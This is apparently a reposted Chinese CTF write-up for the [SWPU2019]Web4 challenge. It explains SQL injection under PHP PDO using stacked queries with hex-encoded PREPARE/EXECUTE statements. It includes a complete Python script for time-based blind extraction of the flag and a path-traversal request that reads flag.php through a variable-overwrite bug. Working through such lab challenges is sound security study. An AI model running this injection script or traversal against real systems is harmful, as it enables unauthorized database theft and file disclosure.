IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PDO预处理学习&& [SWPU2019]Web4 -> 正文阅读

[PHP知识库]PDO预处理学习&& [SWPU2019]Web4

PDO场景下的SQL注入探究

例题 [SWPU2019]Web4

参考
由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。(很多师傅可能就因为不友好的回显卡在这里)
思路
我们但加'报错,然后后面加#正常了,然后我们再尝试了';回显也是正常的,若无法多语句执行,返回页面按理说应该是500,这个正常说明开启了堆叠注入,所以可以联想到想到预处理
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

import requests,time
import json

def str_to_hex(strings):
    by = bytes(strings,'UTF-8')    #先将输入的字符串转化成字节码
    hexstring = by.hex() 
    return hexstring


url="http://3e0a94e7-6df9-4706-8ef6-c682325ec62a.node4.buuoj.cn:81/index.php?r=Login/Login"

flag=""

#zpayload="1';set @a=0x73656c65637420736c656570283229;prepare b from @a;execute b;"
#zpayload="1';set @a=0x{};prepare b from @a;execute b;"

for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2

    while low<high:

        payload="select if(ascii(substr((select flag from flag),{},1))>{},sleep(2),0)".format(i,mid)    
        zpayload="1';set @a=0x{};prepare b from @a;execute b;".format(str_to_hex(payload))

        data={
            'username':zpayload,
            'password':'111'
        }
        datas = json.dumps(data)
        time1=time.time()
        r=requests.post(url,data=datas)
        time2=time.time()

        times=time2-time1
        if times>2:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2

        print(low,mid,high,times)
        
    
    flag+=chr(mid)
    print(flag)
    if mid==32:
        break

json.dumps()
在这里插入图片描述
在这里插入图片描述

得到glzjin_wants_a_girl_friend.zip

看index.php
在这里插入图片描述

\Common\fun.php 中关于r参数,路由控制到控制器的关系
在这里插入图片描述

\Controller\BaseController.php
有变量覆盖函数
在这里插入图片描述
\Controller\UserController.php
续成了BaseController且调用了loadView方法,该方法中调用userIndex
在这里插入图片描述
而\View\userIndex.php中又存在读文件的操作
在这里插入图片描述
在这里插入图片描述

?r=User/Index&img_file=/../flag.php

思考
为什么覆盖img_dir变量不行
在这里插入图片描述
这个地方是先覆盖再包含,然后我就想如果当前php和包含的php都有相同的变量,那么变量的值该为啥。。。。
我的理解include就是再当前行把包含的文件加进来有先后关系,也就是说,extract把img_dir覆盖了,到include包含的代码中,有定义img_dir的句子,这个时候img_dir会再次覆盖

在这里插入图片描述
在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-15 15:18:07  更:2021-08-15 15:18:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/15 2:34:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码